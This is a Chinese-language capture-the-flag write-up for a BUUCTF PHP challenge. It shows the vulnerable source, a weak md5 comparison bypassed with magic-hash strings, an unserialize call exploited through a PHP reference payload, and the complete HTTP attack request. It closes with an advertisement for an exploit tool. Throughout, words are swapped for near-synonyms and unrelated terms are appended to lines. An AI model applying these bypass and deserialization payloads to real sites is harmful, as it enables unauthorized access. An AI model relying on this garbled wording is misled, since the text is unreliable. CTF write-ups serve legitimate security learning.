题目来自于BUUCTF 的基础部分,内容就如题,是一个代码审计。代码以下:php
<?php /** * Created by PhpStorm. * User: jinzhao * Date: 2019/10/6 * Time: 8:04 PM */ highlight_file(__FILE__); class BUU { public $correct = ""; public $input = ""; public function __destruct() { try { $this->correct = base64_encode(uniqid()); if($this->correct === $this->input) { echo file_get_contents("/flag"); } } catch (Exception $e) { } } } if($_GET['pleaseget'] === '1') { if($_POST['pleasepost'] === '2') { if(md5($_POST['md51']) == md5($_POST['md52']) && $_POST['md51'] != $_POST['md52']) { unserialize($_POST['obj']); } } }
代码主要能够分为4部分,以下图
html
0部分为一个class
,并且在第三部分看见了反序列化unserialize($_POST['obj']);
内容,那么就十之八九是反序列化。可是先不用去处理。且在class中能够得到flag的值。node
1部分为一个IF
知足进入的条件为get
传参的值为1
。web
2部分也是一个IF
知足条件为post
传参的值为2
。数据库
3部分也是一个IF
知足条件为 须要两个不一样的数。且这两个不一样的数值的md5
的却相同 。数组
若是 1、2、3 条件都知足以后就会执行反序列化,经过POST
传参obj
执行,而后进入区域0
。app
0区域也有一个IF
知足条件为属性correct
与属性input
相等。 可是correct 倒是利用一个时间进行计算的值的base64
值。ide
只须要在url
中传参便可,以下图
函数
使用burpsuit截断内容,改变传输方式为POST。以下
post
改变为POST
以后, URL
中传值的1 也会自动下来, 须要手动调整上去。
第三部分为md5值得比较。一般能够用数组
作比较绕过和弱类型
比较绕过。
这里使用弱类型比较绕过。
原理:PHP 当中使用==
来进行比较的时候,系统会自动处理数据类型, 进行分析是数字比较仍是字符比较。 而当一个字符串值是e0开通的时候,那么就会被当中数值。而e0xxxxxx都为0.
那么就只须要找到两个不一样的数值,开头倒是以e0开头的便可。也是蛮多的,以下图中所示。
而后传参md51
和md52
便可。 这样就能够达到md51
与md52
不相同。 可是他们的md5值却在php中相等。
传参方式和post同样, 使用&
符号连接。 内容以下图:
反序列化的处理方式很简单。 值须要将原class
中的方法去掉,放进php在线运行
中去,序列化一下便可得到能够运行的序列化内容。
如图:
可是以上序列化以后的字符串经过post['obj']
只能达到解析的目的。 解析后内容能够控制。却由于uniqid()函数产生的数是随时变化的,没法预测,因此input
传值多少没法肯定。
这里就是本题的重要考点引用
的反序列化。 咱们能够简单的把引用简单的理解为C
语言中的地址指针。
看以下代码
$a=&$b; $a=1;//此时 输出$b 那么变量b就为1 $a=123;//此时输出$b 那么变量b就为123
由以上代码能够发现,当变量b为a的引用的时候,b的值随a变化。
道理我都懂了, 那么只须要$this->input
为 $this->correct
的引用便可。
即
$this->input=&$this->correct
构造方式以下图:
只须要在序列化的时候设置一下便可。
完整poc以下图
http报文以下
POST /?pleaseget=1 HTTP/1.1 Host: a27be653-d322-4e8f-96a8-07b27c77f559.node3.buuoj.cn User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:87.0) Gecko/20100101 Firefox/87.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Connection: close Upgrade-Insecure-Requests: 1 Content-Length: 103 Content-Type: application/x-www-form-urlencoded pleasepost=2&md51=s1885207154a&md52=s155964671a&obj=O:3:"BUU":2:{s:7:"correct";s:0:"";s:5:"input";R:2;}
limanmanExp 5.2版本发布了。 增长了数据库审计插件。 想要的小伙伴能够看B站。
https://www.bilibili.com/video/BV1UK4y1U7G6
下载地址在简介中。 还附带了一些简单的exp插件。 若是有兴趣自定义开发插件,也能够在看云手册中查看开发方法
地址https://www.kancloud.cn/qq496672097/limanmanexp/2139143